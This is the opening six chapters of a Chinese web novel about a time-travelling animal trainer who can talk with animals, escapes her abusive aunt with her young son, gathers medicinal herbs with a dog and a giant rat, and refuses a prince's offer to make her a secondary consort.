《王爷!娘娘听懂毛茸茸说话,养了个动物园》 第1章 吃了熊心豹子胆,大发雌威 白凤醒来的时候,痛得像活剐了一遍。 刺痛的地方,毛焦火辣,有一只冰凉的小手轻轻抚摸着,哭哭啼啼喊道:“娘!你醒醒呀!娘!不要丢下豆豆。” 白凤眼皮子很重,很重。 她虚弱地睁开眼皮,撑开一条缝。 视线里只有个小男娃穿着粗衣短打,满面泪痕,看着就很揪心。 他是谁啊? 白凤头疼欲裂,她本来是个驯兽师,日常训老虎豹子,结果一觉睡下去,就成这样了。 还不等白凤搞明白,木门嘎吱一声推开,半扇猪肉似的妇人挤进来,拎起了男童,“王婆子家派人来了,你还不赶紧去!搁这哭丧呢!她命比草还贱,要死早死了!” 男童在妇人手中拼命挣扎:“不要,豆豆不去王婆子家!舅姥姥,放开我!求求你了!舅姥姥!” 妇人的骂声,夹杂着孩子的哀嚎,白凤脑子都快炸了。 孩子被妇人揪出去后,她这才清静了些,理清了脑子里杂乱不堪的记忆。 一会儿是大门大户里的锦衣玉食,一会儿是官府抄家,被贬苦寒之地的边域,爹娘死于病痛,再就是未婚有孕,生下豆豆,在舅舅和舅妈眼皮下讨生活。 白凤意识到,自己穿越了,穿成了原大学士之女。 刚才那个孩子,就是她的亲儿子,学名谦安,小名豆豆。 自打孩子出生,舅妈变本加厉地苛待原主,这个孩子,跟着白凤就从没吃饱穿暖过。 而白凤自己也泥菩萨过江,前天上山打猪草的时候,雨天路滑,跌下山崖。 舅妈怎么可能花银子给白凤找郎中,随便一扔,扔进柴房就不管了。 可接连几日,白凤都不见好转。 舅妈半点不担心,反而打起了豆豆的主意。 三岁大的豆豆,要送给王婆子家抚养。 说好听点是送,其实就是卖孩子,换一笔银钱,等原主一死,草席一裹,彻底将这两个累赘除掉。 白凤清醒了许多,气不打一处来。 这时,一条大黄狗,竟然叼来半块玉米窝窝头,放在白凤跟前。 黄狗耷拉着满是泥垢的脸,汪汪两声,白凤竟听懂了它的话:快吃吧,吃饱了好上路。 白凤眼睛瞪得奇大,别人穿越带系统,带空间,她因为本身驯兽师的身份,居然可以跟狗子无障碍沟通了吗? “你再汪两声!”白凤急忙开口。 大黄狗通人性,还真地又汪了几声:干啥啊,还能动吗? 白凤确定,自己耳朵里另外听到的那沧桑如老者的话语,确实是大黄狗。 疼痛在此刻显得那么微不足道,白凤在柴堆里撑坐起来:“你听我说,一会儿配合我,把豆豆抢回来,绝对不能让黑心舅妈卖了!” 她扶着柴火捆站起来,迈开步子时,头重脚轻地晃了一下。 原主应该是归西了,留下这副遍体鳞伤的身体给她。 白凤哪有时间埋怨,步履蹒跚地走出柴房,正见舅妈童氏和王婆子家派来的杂工,在做买卖豆豆的交接仪式。 童氏揪着小鸡仔般的豆豆,抖着满脸横肉笑嘻嘻道:“这孩子平时皮了点,跟去了王婆子家,好好管教,将来说不准还能接王家的衣钵呢!” 王家在边陲燕云州镇锡郡,是为边疆将士送菜的火夫。 他们家因这份活计,赚得盆满钵满,不仅住大院,买家仆,还能顿顿见荤腥。 偏偏王家生了三个女儿,就是没个续香火的,重赏之下,童氏眼冒金星,早就想将豆豆卖过去了。 杂工从头到脚地打量白谦安,娃子瘦得皮包骨,入秋还露着胳膊腿,四肢淤青遍布,但他五官标志,哪怕龇牙咧嘴,也能看出底子俊俏! “童大婶,这是五两银子,等我把娃带回去,再来给你送十两来。” 杂工说着就掏褡裢,小男娃叫喊地愈发歇斯底里:“我要跟娘在一块!放开我!放开!呜呜……” 童氏扬起手就在豆豆屁股墩上“啪啪”拍两下:“哭哭哭!送你去过好日子,少不知好歹!跟着你那个废物娘亲,能有什么好结果?” “再哭!再哭!我就把她丢大山里喂财狼!” 一听要把白凤丢去喂狼,猛然震慑住了白谏安,哭声戛然而止,他死死地咬着嘴唇,唯有大颗大颗的泪珠子往下掉。 “这还差不多!” 童氏将孩子往杂工怀里塞,豆豆扭头,泪花闪闪地望着凶恶的童氏,哽咽着请求:“舅姥姥,豆豆听话,可以给娘找赤脚郎中看看吗?” 都被卖了,这孩子满心满眼都是白凤。 饶是他的娘亲性格软弱,也没啥本事,但他从未嫌弃过。 白凤在柴房口,将院子栅栏处的腌臜交易尽收眼底,无名火越烧越旺。 童氏冷哼,伸手去接杂工递来的钱袋子:“人各有天命,老天爷要收了那个饭桶,我可拦不住。” 可就在这时,一道锐利清脆的声音,响彻了白家小院:“我看今天谁敢带走我儿子!” “娘!”豆豆闻声,双眸澄亮。 童氏手一抖,就见白凤拄着一截柴火棍,一瘸一拐地走出来。 白凤如今弱不禁风的,就算她没受伤,也不是童氏的对手。 “嘿!你个丧门星,我就送了怎么着?你能把我怎么着?” 童氏嗤之以鼻,摆手催促王婆子家的杂工:“带走带走!少一个人少张嘴!” “我说了,但凡我还有一口气,谁也别想带豆豆走!”白凤从牙缝中挤出这句话,突然加快了脚步,疯了似地扬起柴火棍,胡乱将童氏身上砸。 童氏二百斤的体格子,可不是喝西北风长的。 随便一扒拉,带着掌风就抓住了白凤的武器。 正在这时,狗吠声狠戾,如橙色闪电扑去,一口咬住了童氏的手。 “你个死狗!啊——” 童氏惨叫,反手抓大黄,大黄跟泥鳅似的,轻松躲开,扭头撕咬杂工。 杂工慌忙地扔下豆豆,恐避不及。 吃疼的童氏难以喘口气,白凤的疯魔棒法,打得她嗷嗷乱叫,抱头鼠窜。 童氏怎么也想不到,家里这个窝囊废,不仅没死,还跟吃了熊心豹子胆一样,大发雌威! 真是反了天了! 第2章 抢!抢了就跑! 大黄狗前爪刨地,龇着獠牙,皱着鼻子,嘴里跟塞了个摩托车似的,嗡嗡嗡。 王婆子家的杂工跑得没了影,童氏摔在地上,四脚朝天,哀声不断。 “娘!” 得救的豆豆,光脚小跑到白凤面前,抱住了白凤的腿,鼻涕眼泪一起流。 白凤喜欢豆豆,就像喜欢动物园里的那些毛孩子。 她揉了揉豆豆柔软的发丝,温柔道:“放心,娘在呢,谁敢把鬼主意打到你头上,我第一个不饶她!” 放狠话的同时,白凤眼刀子落在童氏身上,对原主这个舅妈,真是厌恶至极。 童氏野猪翻身,爬起来撑着臃肿的腰,想揍白凤,又顾及旁边虎视眈眈的大黄。 她蓬头垢面,只敢叫嚣不敢动手:“死丫头!把这只死狗撵走!吃我的用我的,现在这是要干什么?造反啊!” “吃你的用你的?你可真会颠倒黑白!”白凤鼻孔看童氏:“你们家算什么东西?我爹爹还是大学士的时候,提拔舅舅做盐运使!你们一家子在京中,不都是我爹养着?这种不要脸的话,你是怎么好意思说出口的?” 童氏又愣了愣。 方才白凤冲出来救孩子,她尚且可以理解。 而今头头是道地数落她是闹几? “你脑子被驴踢了?大学士!若非你爹连累!何苦我们一大家子受裙带联责,被贬来这鸟不拉屎的地方?” 童氏将自己的困苦,都怪罪到白家身上。 白凤气笑了:“在京中花钱如流水的时候怎么不听你抱怨?用人朝前不用人朝后啊?再说!到了镇锡郡,还不是我爹娘的银子给大家伙安置了住处!” 她指着原处萧瑟的村镇道:“舅舅去寒窑凿冰,也是我爹掏银子安排进去的?不然,最该饿死在这的,就是你们一家子!” 童氏听白凤喝得哑口失声,这还是那个奴颜婢膝,打不还手,骂不还口的外甥女吗? “人在做天在看!欺负我们孤儿寡母,霸占我爹娘的家财!妄图想置我们于死地!迟早遭雷劈!” 白凤咬牙切齿地说完,喉咙里就痒得厉害。 她强忍住咳嗽,招呼大黄狗,自己则抱着豆豆,两人一狗回到柴房。 柴房芦草为顶,狭窄潮湿,关上门,四面都透风,也不隔音。 白凤用袖子堵住嘴,小心谨慎地咳出声。 她不能在童氏跟前露怯,否则,那个市侩的舅妈,一准贼心不死! “汪汪!” 大黄摇了摇尾巴说道:我能分辨出草药,可以治你的伤。 “先等等。”白凤巴掌大的脸血色全无,她坐在破碎的棉絮里,长长地抽了口气:“等那个恶婆放松警惕。” “娘?”豆豆湿漉漉的双眸望着白凤,鼻孔吹起鼻涕泡,“你在跟谁说话呢?” 白凤捏了捏大黄狗身上的蒜瓣毛,“这可是我们的带刀侍卫。” 豆豆偏了偏头,云里雾里。 这会儿童氏正在院子里骂得起劲:“贱蹄子!不守妇道的狐狸精!当初就该把你浸猪笼沉塘!” 刚才大黄狗在她胳膊上咬出了两个血窟窿,童氏哪敢去招惹白凤。 她除了骂! 心里暗暗盘算着,怎么把豆豆拐到王婆子家,至于白凤,既然还吊着一口气,家里脏活累活还是得她来干! 白凤听着,有心出去再扇童氏几个大比兜。 但是她有伤在身,养精蓄锐为重。 院子里渐渐没了动静,白凤示意大黄出去找草药,而自己,则扯出一块棉絮,给豆豆擦干净小脸盘子。 看着这孩子,瘦得皮包骨,一件棉袄也没有,白凤心疼,“豆豆,冷吗?” 三岁的小男娃蓦然往她怀里一钻,软糯糯道:“娘亲好好的,豆豆就不觉得冷了,娘亲还疼吗?” 他澄明的眼盯着白凤的肩头,撅起小嘴呼呼两下。 当时原主摔伤了肩胛,这会儿还留下一道渗血的伤口。 可以说原主就是被舅妈害死的,舍不得给一个子买药,请郎中。 这笔仇,白凤铭记于心,必然让舅妈这个恶婆付出惨痛的代价! 很快,大黄就叼着草药回来。 野生的树叶,草根,白凤根本认不出来,大黄汪汪道:“揉碎敷上,老祖宗传下来的偏方,很有用!” 白凤深信不疑,这条狗子是父亲养的。 父亲被贬到镇锡郡来做驿丞,刚上任不久便撒手人寰,自此舅妈无论是对白凤母子俩,还是对大黄,都刻薄到骨子里。 大黄恨透了舅妈,也对白凤这对小主人不离不弃。 敷上草药,躺在破烂的棉絮里,白凤搂着豆豆,望着房梁,风吹芦草微动。 北疆的冬天会来得异常早,她必须想法子保证她和豆豆丰衣足食,否则,迟早在童氏的压迫下,死无葬身之地! 白凤心生初步计划,傍晚,院子里有了别的声音。 “阿娘!” 声音是表姐沈冬梅,她已经嫁了人,夫婿乃衙门的师爷,在当地算一门顶好的亲事。 童氏怄气一整天,见女儿女婿回家,笑得合不拢嘴:“怎么又带这么多东西,多破费啊?” “姑爷看着又瘦了,是不是你照顾不周啊?” “快快,屋里坐,你爹搞了些鞍山白茶,给姑爷品品!” 白凤特地起身,从门缝里往外望,瞧着沈冬梅穿束胸百褶长裙搭对襟窄袖衫,边缘处绣着花,发髻饰银簪。 而她那姑爷,驼背腰粗,就是个大水牛。 童氏将夫妻二人领进弄堂,手里抱着布匹,提着酒坛子,揣着油纸包的熟肉。 白凤舔了舔嘴角,正逢豆豆肚子也叽里咕噜叫起来。 “饿了么?”白凤侧身问儿子。 豆豆点了点头,又迅速地摇头,随之将裤腰带用力勒紧,坚定地像是要入党:“孩儿不饿!娘您别担心!” 他牙都没长全,却懂事得过分。 白凤哭笑不得:“一会儿娘亲去给你抢!抢了咱就跑!” 不巧,瞌睡了就有人送枕头。 这时沈冬梅站在屋檐下,颐指气使冲着柴房喊道:“滚出来泡茶!一点眼色也没有,寄人篱下,手脚最好给我勤快点!” 童氏还没讲白日里那茬糟心事,正想告诫沈冬梅,那只疯狗护着白凤娘俩。 白凤却推开了门,一扫白日的伶牙俐齿,绵里藏针一笑:“得了,这就来伺候!” 第3章 献宝不杀,坦白从宽! 沈冬梅不屑地剜了她一眼。 在她眼里,白凤就是个呼之即来挥之即去的下人,指东她不敢往西。 白凤低眉顺眼地进入堂屋,屋中供着财神爷,两侧摆着实木小几和椅子。 家里一砖一瓦,都是白凤爹娘安置的。 现在舅妈一家子寄生虫侵吞家财,反客为主! 白凤轻车路熟地走进灶房,找到水壶和茶叶,待到水烧开,将一整盒茶叶都倒了进去。 不是要讨好女婿么! 全给她糟蹋了! 白凤泡茶期间,童氏大倒苦水:“冬梅啊!你不晓得,那个贱胚子教那只大黄狗咬人,明儿我就去买些砒霜,药死那只死狗!” “你说说,白凤那扫把星,未婚有孕,克死爹娘!我给她把倒霉儿子送王婆子家,她还不乐意了!” “狗咬吕洞宾,不识好人心,亏得我还收留她,多给她添副碗筷!” 白凤端着茶水入弄堂时,听得这些,简直要笑死。 她耐着性子,压着火,靠近小几旁。 沈冬梅正眼也没给白凤,指尖随意地敲了敲几面,支使下人般心安理得。 白凤没能朝着她去,而是辗转到童氏跟前。 “先给姑爷倒上,一点礼数都不懂!”童氏埋怨嫌弃。 下一瞬,白凤端起茶水就往童氏脸上泼。 童氏烫得哇哇叫,白凤雨露均沾,剩下半碗,赏给沈冬梅和她那姑爷。 一家三口,浑身冒热气。 白凤眼疾手快地抓起黄油纸包裹的熟肉就跑。 “你个死丫头!站住!” “白凤!你找死啊!我的脸!” “狗娘养的,被我逮到,非打断你的腿!” 白凤一阵风似的冲出院子,头也不回地融入夜幕中。 她进堂屋时,就让大黄狗带着豆豆去镇子口等自己,还逮到她打断她的腿,这个吸血鬼家庭,她是一分钟也不呆了! 镇口的城隍庙,早已荒废,无人敬香。 大黄远远地发觉了白凤的身影,汪汪叫:“主人!我们在这!在这!” 白凤循声看去,一条狗,一个小人儿初现轮廓。 “汪汪!” 白凤喘着粗气近前,大黄狗蹭着她的腿,在她身边打转:“这个破庙我经常来,虽无衣食,也比那漏风的柴房好不少!” 天黑,不大能看得清,但城隍庙两层楼阁,还是青瓦铺顶,虽然墙体倒塌,杂草丛生,但赖以栖身不是问题。 “娘,我们真要离开舅姥姥家么?”三岁的豆豆眉头皱起来,一脸苦瓜相。 他不知道为什么要走,只知道,他自打出生就生活在那里。 白凤从怀里掏出熟肉来:“给,先吃饱!以后有娘在,我们自力更生,一准过得比以前舒坦。” 做为打工人,领导多叭叭两句,都能激起白凤一身反骨。 穿成受气包,谁忍得了啊? 她自有打算,那院子,说什么也要抢回来,凭什么让童氏那种恶婆占了便宜? “肉,真的是肉诶!”豆豆小爪子捧着油纸包,凑近鼻息嗅了嗅,兴奋地高喊。 白凤顺了顺胸口,跟着大黄一起踏入城隍庙。 庙里的佛像都已经残破不堪,供台也掀翻了,但好在帷幔还在,可以扯下来当地垫睡觉。 他们没有火,只能借着微弱的星光,分食那块油滋滋的大肘子。 白凤递给大黄一块肉,大黄却舔了舔舌头避开。 “吃吧,明天我就去寻宝,以后吃肉的时候多着呢!” 白凤一塞再塞,大黄汪汪地感谢,开始大快朵颐。 至于那小崽子,更狼吞虎咽,嘴里不停地嘟哝着:“好吃好吃!” 白凤心酸,这娃跟着原主,过年能开一顿荤都不错了。 她填饱五脏庙,就用野草擦了擦手,再次敷药。 而在敷药之际,白凤竟然听到了一丝丝异样。 她竖起耳朵,那是叽叽的声音,夹杂着吐槽:“深更半夜来我的地盘做什么?扰人清梦,哦,不!是扰鼠鼠清梦!” 原来是城隍庙的鼠辈! 白凤庆幸自己有这么一项特殊的能力,但这种小东西,白凤不打算理会。 然而紧接着,白凤又听到鼠鼠嘀咕:“俺这点宝贝,可不能让人类发现了,藏起来,藏起来,都藏起来!” 宝贝? 白凤眼冒星光,都不用等到明天,今晚就能一夜暴富? 她悄无声息地往断裂的佛像后挪移,准备来个出其不意。 哪知发觉她不在身边的豆豆,不安地问道:“娘,你去哪?” 白凤回头,黑暗中,豆豆双眼泛着水光。 害! 这孩子,真是过惯了担惊受怕的日子。 “豆豆,你来!为娘发现了好东西!”白凤只好将豆豆唤至身旁。 只有白凤听到的声音,发出尖锐爆鸣:“人类!人类在这!怎么办!怎么办!他们会杀了鼠鼠的!” 白凤哭笑不得,甚至可以想象角落里精神濒临崩溃的小老鼠。 “别嚎了,我不杀你,给我看看,你有什么宝贝。” 白凤转到佛像后,精准地俯身弯腰,赫然见佛主脚下,有只灰扑扑的肉团子。 错了! 她真错了! 这玩意儿哪里是小老鼠,根本就是鼠中一霸,比肩卡皮巴拉! 身为驯兽师的白凤,都不忍直视,猛拍脑门。 老天鹅,这老鼠是要成精啊! “你!你能听见本鼠鼠说话?” 鼠中坦克紧张地站起来,呆呆地望着白凤。 “娘,这是宝贝?” 豆豆只觉得自家娘亲有点莫名其妙,看不清那灰扑扑的玩意是啥,探出手去戳。 正好戳中鼠鼠肚子,鼠鼠尖叫着,一闪而去。 “傻儿子,你真是……” 白凤吓得一激灵,若是被鼠鼠咬一口,染上鼠疫怎么办? 下一秒,鼠鼠吱吱声震天响:“痛痛痛!傻狗!松开你的狗爪!哎呀,鼠鼠的小脑袋要开花!” 白凤心中狂喜,大黄真不愧是带刀侍卫! 她辗转到供台边,大黄压着肥硕的鼠鼠,趾高气昂地像个大功臣。 白凤不敢去碰这么大只的耗子,蹲下身郑重其事道:“献宝不杀,坦白从宽!” 第4章 竟还想要配方! 耗子再大毕竟也只是耗子,还是只胆小的耗子。 “说,我说!” 耗子颤抖着抬起前爪指佛像:“那里有我囤的很多野果,玉米和麦麸!” 白凤顿时大感失望,什么宝贝,就是这些破烂玩意儿? 她辗转到佛像脚下,摸了摸,就是这些破烂,还是大耗子啃过的,一点用也没有。 正当她收回手,却骤然一怔。 这堆破烂里,居然还有块灵芝,小孩手掌大小,也是被大耗子啃过边角。 灵芝在古代可谓是珍稀药材,这大耗子吃得可真好! 白凤捡起灵芝到耗子跟前,蹲下身追问:“哪来的?” 大耗子急得抽抽,“山上有个洞崖,洞崖里很多……” 白凤莞尔一笑,也不犯怵了,揪起大耗子来:“你呢!知道我能听懂你说话,好好跟着我,保管你不再东躲西藏,顿顿饱,怎么样?” 大耗子眼骨碌一转:“姑奶奶!都听你的!听你的!” 白凤将大耗子扔一边,它缩成一团,不敢造次,也不敢逃跑。 他们的对话,倒是让豆豆震惊无比。 “娘!你真能听得懂它叽叽地说什么呢?”小娃大张着的嘴里,足以塞进一颗鸡蛋。 难怪娘亲总是跟这些长毛的东西,自言自语。 白凤就看着这个小家伙,心中责任感倍增。 原主没能给到孩子优渥的生活,既然她承接了这具身体,那就由她来尽到这份责任! “豆豆,你相信娘亲吗?” 白凤拉着小娃的手,软绵绵的,不自禁地揉了揉。 豆豆点头似小鸡啄米,简直就是喂到嘴边多少大饼,吃多少大饼的忠实信徒。 “那我们好好睡一觉,要听娘亲的话,乖乖的,不哭不闹好不好?” “嗯!” 白凤让大黄狗躺下,豆豆依着它入睡,再把大耗子拎起来,当热水袋捂豆豆的小脚丫。 这一宿,白凤醒来牙齿打寒颤,豆豆却觉得,是这些年来,睡得最踏实,最温暖的一觉。 白凤第一时间去看大耗子,天光大亮,更清楚地认识到,这只小型卡皮巴拉,真是油光水滑,剥皮都能做一件小娃的鼠皮褂子。 “走了,走了,去山上看看那洞崖。” 白凤吆喝着,耗子和大黄一个激灵。 从镇口往山上走很近,只需要穿过石板桥,途径羊肠小道,沿着蕨类植被茂密的山路往上爬。 起初山脚下还有人工铺就的石板,越往深处走,越是泥泞不堪。 白谦安连一双鞋都没有,白凤便将他抱起来,豆豆担心累着白凤,说什么也不依。 白凤却坚持道:“娘的身体已经康复,抱你个鼻嘎的力气还是有的。” 想当初她做驯兽师,老虎幼崽都是她喂奶长大的,抱个小豆豆,还不是手拿把掐? 自从进入山林,白凤就听到各种各样的声音。 小鸟喳喳,野猪哼哼,他们说着食物短缺,说着去镇上偷点粮…… 大黄狗一直押送着耗子,每当耗子走不动路,大黄就顶它肥硕的屁股。 耗子累得够呛,总算是到了半山腰,它拟人似的用后脚站立,支起身子,秀珍的爪子指着松针林:“就在那!” 豆豆看大耗子憨态可掬,列开嘴笑,他听不见耗子说了什么,白凤一脚踏进枯叶中,径直往耗子所指的方向去。 一处山崖,长满了树藤。 错综复杂的根茎下,竟然真有个洞口。 耗子来了精神头,一猛子扎了进去。 大黄狗紧随其后,不多时,山洞里就传来狗吠回响:“主人!主人!发财了!” 发财! 白凤放下豆豆,三下五除二扯去树藤,一脚下去,险些踩到一簇肉苁蓉。 再往前看去,金线莲,铁皮石斛,甚至有……人参! 这可真是发财了! 天气虽冷,白凤浑身血液却燥热沸腾。 有这些东西,她和豆豆再也不用饿肚子了! 白凤弯下腰就是一个字——薅! 薅得双手满当当,她才意识到另一个大难题。 自己没有趁手的农务工具,哪怕是个竹篮,背篓,也行啊! 豆豆也收获颇多,却不知有啥用:“娘!这些能吃吗?” 白凤恨自己没有八只手,若太贪心,在路上丢那么一两株药材,岂不是得不偿失? “今天先拿这么多。” 白凤及时收手,当务之急是先把这些都换成银两。 他们沿途折返,白凤脚程快了不少。 耗子歇一歇,跑一跑,跑到白凤脚边总会不确定地说上两句:“人类,你说的话要兑现的,不能发了家,忘了本。” 养只耗子而已,能花几个钱。 “知道了,知道了,福球。”白凤临时给耗子取了名,望了眼大黄道:“以后你就叫来财,有财有福,这日子,别提多红火了!” 来时晨光微熹,薄雾漫漫。 回时,镇上桥头边,小贩已经排排而列。 白凤没打算摆摊,直接去赤脚郎中的医馆里,镇上的人识不识货是一回事,东西也会卖得七零八落。 若能和医馆达成长期合作,她以后的药材,就不愁出手了。 赤脚郎中可非真的赤脚,大抵属于没有行医资格证的诊所。 医馆不算大,药香扑鼻。 懒洋洋躺在藤椅上,盖着一条方被的郎中年过半百,见白凤手里一把抓的药材,愣了好会儿:“你采的?” 白凤抖了抖草药根上的泥,“刚从深山回来,掌柜的出个价。” 郎中坐直了身,捋着下巴的胡须,皱紧了眉头:“这石斛价不高,十文钱一株……” 他话音刚落,白凤身后的大黄龇着牙,冒出嗡嗡的警告。 主人说过,石斛少于二十文不卖! 郎中一哆嗦,“你这狗……” “狗都知道价格不公道,掌柜的不晓得?”白凤早有所料,“石斛二十文,金线莲五十文,这肉苁蓉么,二两银子。” 白凤年纪轻轻,一件冒着絮子的破棉袄补丁摞补丁,一眼穷困潦倒。 但她口齿清晰,一字一句成熟稳重,仿佛是久经社会锤炼,有着讨价还价的底气。 掌柜的只觉得这姑娘眼熟,思忖少倾笑道:“姑娘,这个价老夫能收,但你得告诉老夫,这些药材哪采的。” 有的赚就不错了,竟还想要配方? 白凤明知掌柜的如意算盘,却故作单纯道:“就翻过两座山,那山沟沟里。” “磨房沟?”掌柜点出地名,“那地方黑熊多,去的人大多没了信,你去那了?” 白凤没曾想,随便胡诌了凶险之地。 她心思活,垂手拍了拍来财:“我有护卫,我怕啥?” 掌柜的将信将疑,“这些药材,我都收了,你下回有,还给我送来。” 白凤当面清点了银子,钱货两讫。 除了那珠人参,她全出手了。 那东西金贵,在赤脚郎中这卖不上价不说,还可能给自己遭来祸端。 白凤虽留了个心眼,可赤脚郎中摸了摸下巴,恍然想起来,那不是童大婶家的外甥女? 记得这姑娘不受童大婶喜见,怎么有这么多药材兜售? 念及还有事请童大婶的姑爷帮忙,郎中仓忙收起草药,就往童氏家里去。 第5章 侧妃,谁稀罕? 白凤离开医馆,豆豆缩在墙角,粗衣里紧紧地捂着那珠冰凉的人参,冷得发抖,露在外的手脚都成了青紫色。 白凤从昨天开始到现在,说的都是大空话。 此刻兜里有了银子,一刻也等不了,必将承诺化成真。 她两步上前,抱起了豆豆:“娘给你买衣裳,买双鞋!再买个火炉!“ 给小家伙置办之余,白凤还买了镰刀,背篓,以及锅碗瓢盆,食材,猪肉…… 大包小包的回到城隍庙,白凤彻底累瘫了。 她躺在帷幔上,侧身抱着自己刚买的一小袋大米当枕头。 养活自己都不容易,还要养活一个小娃,一狗,一耗子。 “娘!吃炊饼。”小男童凑上前来,圆溜溜的眼紧盯着白凤。 白凤近距离地看豆豆,意外地发觉这孩子长得还真是粉雕玉琢。 大眼睛,双眼皮,翘挺的鼻子,嘴角自然状态下也微微向上勾起。 原主虽然长得不差,但远没有女娲炫技之作的地步。 这孩子完全继承他亲爹的优良基因,白凤知道豆豆生父是谁。 只不过,如今身份天差地别,恐怕余生都没有相见的机会。 白凤接过炊饼,咬了一口,搂着小男娃入怀。 豆豆安安静静地,小手抠着白凤棉袄里冒出的棉絮。 白凤打算小憩会儿,再上一趟山,山洞里留下些幼苗,其他的都挖回来。 她昏昏欲睡,来财突然汪汪大叫:“主人!有动静!” 远处的,童氏跟沈冬梅,就见着那随时都会坍塌的城隍庙。 “她就住这?”沈冬梅嫌恶地扯了扯嘴角。 她还以为白凤有多大能耐,离开了遮风避雨的家,还不是落个风餐露宿的下场。 童氏黑着脸道:“没听郎中说了么?她得了不少宝贝,卖了好几两银子。” 昨日白凤泼他们茶水,童氏怄了一肚子火。 今儿她有备而来,看白凤还怎么逃。 “汪汪!” 他们刚接近城隍庙,来财首当其冲就冲上去吼叫威慑。 白凤料到童氏不会善罢甘休,但没想到来得这么快。 “哟,舅妈怎么来了?” 白凤站在庙门口,居高临下地睨着童氏母女,嘲讽道:“难道是知道错了,磕头认罪,请我回家?” 童氏火冒三丈:“你想得美!还吃上炊饼了!赚了点碎银子,都不知道自己姓什么了!” “反正不跟你姓,你们一家子贼,跟你们呼吸同一片空气就恶心!”白凤句句刀肉,反正都撕破脸了,何必还拐弯抹角? 童氏绿豆眼狠辣:“狂!继续狂!你那些草药,不都是从家里偷出去的吗?谁是贼?” 沈冬梅心领神会,帮腔道:“我当你怎么走得那么干脆,原来手脚不干净!” 白凤知道童氏不要脸,不曾想不要脸到此等境地! 泼脏水,扣屎盆子,真是信手拈来! 白凤正欲反唇相讥,小不点从白凤身边站出来:“你们胡说!我娘是从山上挖来的草药!” 童氏见豆豆,眼神一凝。 这才一天不见,这个拖油瓶,居然穿上了新的立领长衣,还搭上了棉褂! 脚上那双布鞋也是崭新的,看他满嘴油光,想必吃食上也没亏着。 童氏牙冠磨得嘎吱响:“我说你们是偷的就是偷的!” 说完,她瞥向了身后:“姑爷,这白凤就交给你送至官府,孩子我带走!” 跟着童氏母女来的,是沈冬梅的丈夫。 他穿灰白长衫,负手而立,悠悠地吩咐县衙的捕快:“人证物证俱在,拿下!” “汪汪汪!” 来财叫嚷得更凶了,耗子福球却躲了起来。 白凤暗道不妙,他们人多,就算有大黄保护,也不是他们的对手! 她拾起半块砖,眼里迸发出鱼死网破的决心。 大不了,她跟这些人缠斗,让来财先带着豆豆离开。 “吁——” 忽然,马蹄纷踏。 一行人马停在了城隍庙跟前,为首之人着黑铁甲胄,攥紧缰绳,炯炯双眸凌厉,视线直勾勾地落在白凤身上。 童氏和沈冬梅面面相觑,师爷见此乃军中之人,不解地上前询问:“官爷隶属何处?” 镇上确有驿馆,白凤之父生前便是驿丞,镇上南来北往的士兵并不鲜见。 孔武有力的男子一跃下马,对白凤拱手道:“白姑娘,王爷接您回京。” “王爷?”童氏一家瞠目结舌。 不是家道中落了么? 曾经身居高位的大学士,骨头都被黄土沤烂了,怎么又跟王爷扯上关系? 他们心底惊涛骇浪,白凤却明白,这人口中的王爷,正是——徽臻王,尉迟深。 当年沈父因结党营私之罪,从大学士贬至苦寒之地,做个小小的驿丞。 无助的白凤狗急跳墙,竟趁徽臻王酒醉,爬上了他的床。 本以为能借权势滔天的徽臻王之手,救白家于危难之中。 哪知徽臻王不为所动,只说:本王可给你名分,安于外室,其他人,生死于本王何干? 白凤心灰意冷,她自幼爱慕徽臻王,儿时也算青梅竹马,哪知他如此绝情。 原主随爹娘千里迢迢迁徙,岂料腹中已有了徽臻王骨肉。 她在外过了三年苦日子,把自个熬死了,这负心汉才知道来接老婆儿子? 白凤扭头去破庙里,拿出一根胡萝卜。 她走下台阶,到了枣红色的马儿跟前,胡萝卜递过去,居然在问那匹马:“说说看,怎么回事?” “噗噗噗——” 马儿鼻孔喷着气,叼走了白凤手中的胡萝卜:“主子月前遭遇刺杀,太医说啊,他可能生不出儿子了,人啊……福祸难测哟。” 马儿嘎嘣脆的啃着胡萝卜,白凤茅舍顿开。 这跟不要碧莲的童氏有啥区别。 “白姑娘。” 黑甲将士俯身再请:“王爷让属下转述,可封您为侧妃。” 童氏和沈冬梅已汗流浃背。 白凤这是走的什么狗屎运! 侧妃? 她咋不上天呢? 白凤却抚摸着马屁的鬃毛,云淡风轻道:“大可不必,我在这挺好的,侧妃,谁稀罕!” 第6章 不跟他走 白凤抱着豆豆回到城隍庙,大黄狗屁颠屁颠跟在后头。 “娘,那些黑衣服的叔叔好凶。”豆豆小脸皱成一团,显然被黑甲侍卫吓得不轻。 “不怕,他们不敢把咱们怎么样。”白凤摸摸儿子的脑袋,心里却盘算着接下来的打算。 大黄狗蹲在门槛上,尾巴甩来甩去:“主人,那马说的是真的?你真跟什么王爷有一腿?” 白凤瞪它一眼:“闭嘴,什么叫有一腿。” “那不就是有一腿吗?”大黄狗歪着脑袋,“要不然豆豆哪来的?” 白凤懒得跟它废话,从怀里掏出今天换来的碎银子数了数。加上之前剩下的,一共有三两多银子,够她们娘俩撑一阵子了。 “汪汪!”大黄狗突然叫起来,“有人来了!” 白凤警觉地站起身,就见一个穿着青布长衫的中年男人走进城隍庙。那人面容和善,手里提着个食盒。 “白姑娘在吗?”来人笑眯眯地问。 “你是?”白凤戒备地看着他。 “在下姓李,是镇上药铺的掌柜。”李掌柜把食盒放在供桌上,“听说白姑娘带着孩子住在这里,特地送些吃食过来。” 白凤没动:“无功不受禄,李掌柜有话直说。” “白姑娘果然爽快。”李掌柜也不绕弯子,“实不相瞒,昨日白姑娘拿来的那些药材,品相极好。在下想问问,可还有别的药材?” 白凤心里一动。她昨天在山洞里采的药材,只拿出来一小部分,剩下的都藏在城隍庙后院的枯井里。 “有是有,不过…”白凤故意停顿。 “价钱好商量!”李掌柜立刻接话,“只要药材好,在下绝不亏待白姑娘。” 白凤想了想:“三天后,我再送一批过来。” “一言为定!”李掌柜喜上眉梢,又指指食盒,“这些点心是给孩子的,白姑娘别嫌弃。” 等李掌柜走后,大黄狗凑过来:“主人,你真要再去山上?” “不去山上,去哪弄银子?”白凤打开食盒,里面是几块桂花糕和两个肉包子。她把肉包子给豆豆,自己拿起一块糕点咬了一口。 “可是那山洞里的大耗子说,山上有危险。”大黄狗担心地说。 白凤冷笑:“危险?我现在最大的危险,是没银子活不下去。” 话音刚落,外面又传来脚步声。这次来的是个小厮打扮的少年,身后还跟着两个扛着箱笼的壮汉。 “白姑娘,我家主子让我送些东西过来。”小厮恭敬地说。 “你家主子是谁?”白凤皱眉。 